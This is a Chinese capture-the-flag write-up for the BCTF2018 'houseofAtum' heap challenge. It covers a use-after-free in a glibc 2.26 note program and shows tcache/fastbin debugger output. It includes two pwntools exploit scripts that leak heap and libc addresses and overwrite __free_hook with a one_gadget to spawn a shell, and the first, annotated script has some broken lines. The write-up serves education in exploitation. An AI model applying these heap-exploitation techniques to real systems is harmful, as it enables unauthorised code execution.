【CTF解题】BCTF2018-houseofatum-Writeup题解

【CTF解题】BCTF2018-houseofatum-Writeup题解_第1张图片
先把ld和Libc给换成题目给的

patchelf --set-interpreter ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/ld-2.26.so  --replace-needed 
./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6 ./glibc-all-in-one/libs/2.26-
0ubuntu2_amd64/libc-2.26.so houseofAtum

程序分析

这里只进行一些简单的分析,其他的博客分析的很详细了

bigeast@ubuntu:~/Desktop/ctf$ ./houseofAtum
1. new
2. edit
3. delete
4. show
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
     
  int v3; // eax
 
  initialize(argc, argv, envp);
  while ( 1 )
  {
     
    while ( 1 )
    {
     
      while ( 1 )
      {
     
        v3 = menu();
        if ( v3 != 2 )
          break;
        edit();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      alloc();
    }
    if ( v3 == 3 )
    {
     
      del();
    }
    else
    {
     
      if ( v3 != 4 )
LABEL_13:
        exit(0);
      show();
    }
  }
}
int alloc()
{
     
  int i; // [rsp+Ch] [rbp-4h]
 
  for ( i = 0; i <= 1 && notes[i]; ++i )
    ;
  if ( i == 2 )
    return puts("Too many notes!");
  printf("Input the content:");
  notes[i] = malloc(0x48uLL);
  readn(notes[i], 72LL);
  return puts("Done!");
}

这里ull表示无符号长整形,ll表示长整型,就是8字节。
这里72=0x48,72LL表示用8字节来存储72。没有在字符串末尾添加/x00,而且没有初始化,可能存在泄漏。利用visit或者show函数打印的时候就能泄漏了。

unsigned __int64 del()
{
     
  int v1; // [rsp+0h] [rbp-10h]
  char v2[2]; // [rsp+6h] [rbp-Ah] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  printf("Input the idx:");
  v1 = getint();
  if ( v1 >= 0 && v1 <= 1 && notes[v1] )
  {
     
    free((void *)notes[v1]);
    printf("Clear?(y/n):");
    readn(v2, 2uLL);
    if ( v2[0] == 121 )
      notes[v1] = 0LL;
    puts("Done!");
  }
  else
  {
     
    puts("No such note!");
  }
  return __readfsqword(0x28u) ^ v3;
}

当clear选择n的时候,不会清空note数组的指针,而edit和show都是通过这个来判断一个note是否存在。

漏洞利用的参考程序

参考链接,https://changochen.github.io/2018-11-26-bctf-2018.html
受上文的启发,虽然他的图画错了(头节点不应该指向其fd而应该指向chunk头)

实验该参考程序过程发现了一个小现象:

当malloc(0x20),分配的chunk的size为0x21
当malloc(0x28),分配的chunk的size为0x21
当malloc(0x29),分配的chunk的size为0x41
0x20=32字节,是分配一个chunk的最小空间=presize+size+fd+bk=32字节。size后面多1表示上一个chunk的状态。可以看到当malloc(28),显示的size仍然为0x21,肯定是和后一个chunk的presize复用了。

#include 
#include 
#include 
void main(){
     
void *a = malloc(0x28);
void *b = malloc(0x28);
// fill the tcache
for(int i=0; i<7 ;i++){
     
    free(a);
}
sleep(0);
free(b);//fast bin
 
//What will happen with this:
free(a);// fast bin
}

free b后:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555757000
Size: 0x251
 
Free chunk (tcache) | PREV_INUSE
Addr: 0x555555757250
Size: 0x31
fd: 0x555555757260
 
Free chunk (fastbins) | PREV_INUSE
Addr: 0x555555757280
Size: 0x31
fd: 0x00
 
Top chunk | PREV_INUSE
Addr: 0x5555557572b0
Size: 0x20d51
 
pwndbg> bins
tcachebins
0x30 [  7]: 0x555555757260 ◂— 0x555555757260 /* '`ruUUU' */
fastbins
0x20: 0x0
0x30: 0x555555757280 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

free a之后:
发现 a也进了fast bin里面,而且其fd指向了b的presize字段。这样我们就可以通过malloc从tcache bin里得到a的fd,从而修改b的presize,甚至presize后面的size等内容【网络安全学习资料·攻略

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555757000
Size: 0x251
 
Free chunk (fastbins) | PREV_INUSE
Addr: 0x555555757250
Size: 0x31
fd: 0x555555757280
 
Free chunk (fastbins) | PREV_INUSE
Addr: 0x555555757280
Size: 0x31
fd: 0x00
 
Top chunk | PREV_INUSE
Addr: 0x5555557572b0
Size: 0x20d51
 
pwndbg> bins
tcachebins
0x30 [  7]: 0x555555757260 —▸ 0x555555757280 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x555555757250 —▸ 0x555555757280 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

漏洞利用思路

我们的目标是最终执行system(’/bin/sh’),而且是通过堆来完成。在《HITB CTF 2018 gundam》中,我们通过动态获得libc基地址,进而计算出_free_hook地址和system地址,想方设法在_free_hook地址处写入system地址,再创建1个内容为’/bin/sh’的chunk,然后释放,就可以触发_free_hook,最终执行system(’/bin/sh’)。这道题同样可以采取这种思路。1.要动态获得libc基地址,就要用到unsorted bin,在tcache的count为7的情况下,将符合unsorted bin大小的chunk释放到unsorted bin中。该chunk前向指针fd和后向指针bk的值就是要泄露的地址(详细分析见上一篇《HITB CTF 2018 gundam分析》)。

2.题目中创建的house of Atum chunk的大小为0x51。显然,这样chunk释放后只能进入tcache bin和fast bin,要想使其进入unsorted bin,就得改变指定chunk的大小。

3.要在_free_hook地址处写入system地址,就得构建1个以_free_hook地址为数据区地址的chunk,即_free_hook-0x10为起始地址的chunk,以system地址作为内容参数。
以下分析和调试过程基于以上3点考虑,通过对堆块chunk的灵活操作,成功执行获得shell。

泄露Chunk的fd地址

连续释放同一个chunk7次后,此时通过show即可获得chunk 0的fd的地址,书本中记为heap_addr
--------
tcachebin[7] -> chunk 0.fd <- chunk 0.fd
fastbin[] :null
--------

伪造chunk

动态获得了heap_addr,即chunk0的next指针,后面该如何利用?
根据前面分析,要获得libc的基地址,就要改变chunk0的大小为0x91。chunk0的size域位于chunk0头部16个字节的后半部分中,可以考虑创建1个以chunk0-0x10为起始地址的chunk1,将chunk0的新的size值(0x91)作为chunk1的内容。要从tcachebin中分配chunk1时,前提是chunk1在tcachebin中,有两种方式可以使chunk1(chunk0-0x10为起始地址)进入tcachebin:一种是构造tcache bin的double free 然后构造chunk0-0x10为起始地址的fake chunk,另一种是将chunk1链接到fastbin中某个chunk后面,这样当chunk被从fastbin中分配时,其后面的chunk1就会被移到tcache中。我们首先分析第一种方法:
因为题目限制只能创建2个chunk,所以构造了faka chunk后,已经创建了2个chunK了,此时这两个chunk都是指向chunk 0的,无论释放哪一个,都会导致faka chunk丢失。
如下,两个已经创建的chunk都是指向0x5616cec43260的,无论释放哪一个都会导致fake chunk 0x5616cec43250的丢失。
所以本题用了两次把fastbin中的fake chunk转移到tcache bin

泄露libc地址

连续释放chunk0 7次,将会使chunk0进入0x90大小的tcachebin中,再释放1次,chunk0将会进入unsortedbin。就可以按像gundam那样泄漏glibc地址,就是先

分析tcache的结构体是位于堆的低地址的最开头,也是一个chunk。

为什么创建的是0x50大小的Chunk,而不是0x48?

我们看到代码中是malloc(0x48),0x48是userdata的大小,还需要加上presize和size的大小,也就是0x48+0x10=0x58,然后由于该chunk被使用,所以会占用下一个chunk的presize字段,所以0x58-0x8=0x50。所以每次只用分配0x50大小的chunk.

带详细注释的代码

from pwn import *
 
io = process('./houseofAtum')
libc = ELF('././glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so')
context.log_level='debug'
def new(cont):
    io.sendlineafter('choice:','1')
    io.sendafter("content:",cont)
 
def edit(idx,cont):
    io.sendlineafter('choice:','2')
    io.sendlineafter('idx:',str(idx))
    io.sendafter("content:",cont)
 
def delete(idx,x):
    io.sendlineafter('choice:','3')
    io.sendlineafter('idx:',str(idx))
    io.sendlineafter('(y/n):',x)
 
def show(idx):
    io.sendlineafter('choice:','4')
    io.sendlineafter('idx:',str(idx))
 
def leak_heap():
    global heap_addr
    new('A') 初始chunk 0,记住这是初始的chunk0空间,后面会反复用到这个空间。
 
    new(p64(0)*7 + p64(0x11)) 
    # 为什么分配两个0x50的chunk? 因为tcache bin和fast
    # bin都不会清除preuse,所以在后面将0x90大小的fake chunk放入unsorted
    # bin时会检查下一个chunk的preuse位置,若为0则会报错,所以这里一定要在56个字节之后构造一个0x11
 
    delete(1,'y') #构造完就没用了,可以删掉了
 
    for i in range(6): #构造double free填满tcache bin
        delete(0,'n')
 
    show(0)
    io.recvuntil("Content:")
    heap_addr = u64(io.recv(6).ljust(8,'\x00'))
    #输出自己的user data的地址
    log.info("heap_addr: 0x%x" % heap_addr)
 
def leak_libc():
    global libc_base
    delete(0,'y') #指向初始chunk0的空间,
    # 输出完heap_addr也没用了,所以要删掉,会被放进fastbin。
    # 此时由于最后一个进入fastbin的chunk的fd会被清0,
    # 所以tcachebin的next指针会被清0。
    # 此时,
    # tcache bin[7]:chunk 0.fd -> 0
    # fasbin:chunk 0.presize -> 0
 
    # 为什么在这之后不再直接free一个chunk 0直接修改chunk 0的size呢,
    # 再free一个chunk 0它会进入fastbin,
    # 会被fastbin检测出double free,
    # 上面的参考程序要修改的chunk是另外的chunk,不能是double free的chunk。
    # 所以行不通。
    # 所以要间接的修改size。
 
    new(p64(heap_addr-0x20))
    # 此时得到chunk0指向 初始的chunk0,并且改变了chunk 0的fd ,
    # 此时,
    # tcache bin[6]:0
    # fasbin:chunk 0.presize -> chunk0.presize-0x10 -> 0 ,
    # 这里修改后
    # 在分配内存的时候不会有任何检查其头部?
    # 分配的时候fastbin会检查头部是否符合当前fastbin的大小,
    # 但是我们这个chunk我们不会当它在fastBin的时候就分配它。
    # 后面我们会先把它转移到tcachebin,而转移到tcache bin的过程貌似不会检查其Size,
    # 而在tcache bin的时候再分配它出去,tcache bin不会检查其头部大小
    # 同时,还发现entries指针被清空居然不和counts做检查!!!
 
 
    new('A') #此时得到chunk1指向 初始的chunk 0,
    # 由于tcache的entries指针已经被清空,堆块会从fastbin取出。
    # 剩下的堆块会被整理到tcache,
    # 于是fd指针的地址(chunk0.presize-0x10)会被写入tcache entries,同时counts加1等于7
    # 此时,
    # tcache bin[7]:chunk0.presize-0x10 -> 0
    # fasbin:0,
    # 这一步就是为了把fastbin里面的指向chunk0的presize-0x10的chunk放入tcache bin
    # 小发现:把fastbin剩余的chunk放入tcache bin会导致tcache bin的count数量改变。
 
    delete(1,'y') # 上面的工作完成后这个Chunk就没用了,释放掉,进入fastbin。
    #此时
    # tcache bin[7]:chunk0.presize-0x10 -> 0
    # fasbin: chunk0.presize
 
    new(p64(0)+p64(0x91)) ##指向初始的chunk.presize-0x10的空间,
    # 此时拿到了fake chunk,fake chunk的user data指向初始chunk 0 的presize
    # 此时,
    # tcache bin 0x50 [6]: 0
    # fasbin 0x50 : chunk0.presize
    # 此时初始的chunk 0的size已经被修改了。变成了0x91,即大小为0x90for i in range(7):
        delete(0,'n') #指向初始的chunk0的空间
    # 此时会填满tcache 为0x90的bin,并且会改写0x50的fast bin。
    # 即此时
    # tcache 0x50 bin[6]: 0
    # tcache 0x90 #bin[7]:chunk0.fd->chunk0.fd
    # fasbin 0x50: chunk0.presize->chunk0.fd ,
 
    delete(0,'y') #指向初始的chunk0的空间
    # 此时进入Unsorte bin.
    # 此时 ,
    # tcache 0x50 bin[6]: 0 ,
    # tcache 0x90 bin[7]:chunk0.fd-> main_arena+88
    # fasbin 0x50 : chunk0.presize -> main_arena+88
    # unsorte bin:chunk0.presize -> main_arena+88
 
    edit(1,'A'*0x10)
    # 此时会修改初始chunk0.presize-0x10的usedata,即会修改chunk0的presize和size字段
    # 这样后面打印的话方便找到打印的地址在哪。
    # 因为chunk0 已经被完全删掉了,
    # 或者之前不完成删掉打印完再删掉也行,反正现在只剩chunk1了
 
    show(1)
    io.recvuntil('A'*0x10)
    libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3abc78
    log.info("libc base:0x%x" % libc_base)
    debug(1)
 
def pwn():
    one_gadget = libc_base + 0xdd752
    free_hook = libc_base + libc.symbols['__free_hook']
    edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))
    # 修改了初始的Chunk0大小为0x50,为什么要改回来?
    # 因为后面要从fastbin中new一个chunk0了,
    # fastbin会检查size释放应该在此fastbin中。
    # 修改了初始的chunk0的fd为free_hook-0x10
    # 此时 ,
    # tcache 0x50 bin[6]: 0 ,
    # tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10
    # fasbin 0x50 : chunk0.presize -> free_hook-0x10
    # unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88
 
 
    new('A') chunk0 ,因为这里要new 所以前面必须把chunk0 改回0x50大小
    # 指向初始chun0空间
    # 这里的作用是把free hook放进tcache bin 0x50
    # 此时 ,
    # tcache 0x50 bin[7]: free_hook
    # tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10
    # fasbin 0x50 :
    # unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88
 
    delete(0,'y')
    # 回收chunk0,没用了。回收进fast bin 0x50
    # 此时 ,
    # tcache 0x50 bin[7]: free_hook
    # tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10
    # fasbin 0x50 : chunk0.presize
    # unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88
 
    new(p64(one_gadget)) #chunk0
    # 取出free hook的空间,然后修改
    # 此时 ,
    # tcache 0x50 bin[7]: 0
    # tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10
    # fasbin 0x50 : chunk0.presize
    # unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88
 
    io.sendlineafter("choice:",'3')
    io.sendlineafter(":",'0')
    io.interactive()
def debug(id):
    log.info('check point %d' % id)
    gdb.attach(io)
    pause()
if __name__=='__main__':
    leak_heap()
    leak_libc()

可直接运行的代码

网络安全学习资料·攻略

from pwn import *
 
io = process('./houseofAtum')
libc = ELF('./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so')
context.log_level='debug'
def new(cont):
    io.sendlineafter('choice:','1')
    io.sendafter("content:",cont)
 
def edit(idx,cont):
    io.sendlineafter('choice:','2')
    io.sendlineafter('idx:',str(idx))
    io.sendafter("content:",cont)
 
def delete(idx,x):
    io.sendlineafter('choice:','3')
    io.sendlineafter('idx:',str(idx))
    io.sendlineafter('(y/n):',x)
 
def show(idx):
    io.sendlineafter('choice:','4')
    io.sendlineafter('idx:',str(idx))
 
def leak_heap():
    global heap_addr
    new('A')# chunk 0
    #debug(1)
    new(p64(0)*7 + p64(0x11)) #chunk 1
    #debug(2)
    delete(1,'y') #delete chunk 1
    #debug(3)
    for i in range(6):
        delete(0,'n')
    #debug(4)
    show(0)
    io.recvuntil("Content:")
    heap_addr = u64(io.recv(6).ljust(8,'\x00'))
    log.info("heap_addr: 0x%x" % heap_addr)
    #new(p64(heap_addr-0x10)) #chunk 1 fake chunk
    #debug(1)
    #delete(1,'y') # delete chunk 1
    #debug(2)
 
def leak_libc():
    global libc_base
    delete(0,'y') #fastbin
    #debug(0)
    new(p64(heap_addr-0x20)) #tcache bin get and fast bin add fake chunk
    #debug(1)
    new('A') # fastbin get and fastbin fake chunk put to tcache bin
    #debug(2)
    delete(1,'y') # put to fastbin
    new(p64(0)+p64(0x91)) #fake size
 
    for i in range(7):
        delete(0,'n')
 
    #debug(1)
    delete(0,'y')
    #debug(2)
    edit(1,'A'*0x10)
    #debug(2)
    show(1)
    io.recvuntil('A'*0x10)
    libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3dac78
    log.info("libc base:0x%x" % libc_base)
    #debug(1)
def pwn():
    one_gadget = libc_base +  0xfcc6e
    free_hook = libc_base + libc.symbols['__free_hook']
    edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))
    #debug(1)
    new('A')
    #debug(1)
    delete(0,'y')
    #debug(2)
    new(p64(one_gadget))
    #debug(3)
    io.sendlineafter("choice:",'3')
    io.sendlineafter(":",'0')
    io.interactive()
def debug(id):
    log.info('check point %d' % id)
    gdb.attach(io)
    pause()
if __name__=='__main__':
    leak_heap()
    leak_libc()
    pwn()

新发现:不同Libc的unsorte bin在main_arena的偏移不同,Libc2.26是88,Libc2.27是96.

总结

gundam和houseofAtum这两道题都是利用了LIBC2.26中tcache bin可以double free的特点。

gundam:
由于每次build的chunk大于0x90,所以可以重复释放8次同一个chunk,然后在unsortebin中泄漏libc地址。然后,直接在tcache中构造double free然后把free_hook作为fake chunk链接到tcache bin中,然后修改free hook。

houseofAtum:
由于每次build的chunk只有0x50大小,不能被放入unsorted bin,导致无法泄漏Libc地址。所以首先要考虑修改chunk的大小,要修改chunk的大小,只能通过构造fake chunk来修改。而由于限制只能new 2个chunk,所以不能直接在tcache bin中构造double free来链接fake chunk(这点已经在上面分析过了),所以只能通过把fastbin中的fake chunk移入tcache bin中来构造fake chunk。
构造完fake chunk后就能修改chunk的大小,从而放入Unsorted bin中泄漏libc地址。泄漏完Libc地址后,又要构造fake chunk来修改free_hook,构造方法同上,也是要在fast bin中构建完后移入tcache bin。

one-gadget安装

sudo apt -y install ruby
sudo gem install one_gadget
需要满足一些条件,
比如: [rsp+0x30] == NULL

bigeast@ubuntu:~/Desktop/ctf$ one_gadget ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so
0x47c46 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
 
0x47c9a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
 
0xfcc6e execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL
 
0xfdb1e execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

知识点的复习

通过这道题又复习和捋清楚了一些bin的存储方式:
主线程的Main_arena保存在libc.so的数据的里,其中包括了fastbinsY和bins。
fastbin和Unsortedbin 是后进先出,其他bins是先进先出。
fastbin只用到fd指针,后进来的chunk放在链表头。fd指向上一个进来链表的节点。第一个进来的chunk的fd指向的是特殊的“0”,代表前面没有chunk。
而且fastbin里面的chunk不会进行合并操作,只有当调用malloc_consolidate()的含时候才会取出来与相邻的freechunk合并,所以fast bin的chunk的下一个chunk的PRV INUSE始终为1,处于使用状态。

最后

想学网络安全打CTF的同学可以关注私我

获取2021最新【网络安全学习资料·攻略
【CTF解题】BCTF2018-houseofatum-Writeup题解_第2张图片

你可能感兴趣的:(安全,网络,CTF,ubuntu,网络安全,计算机网络)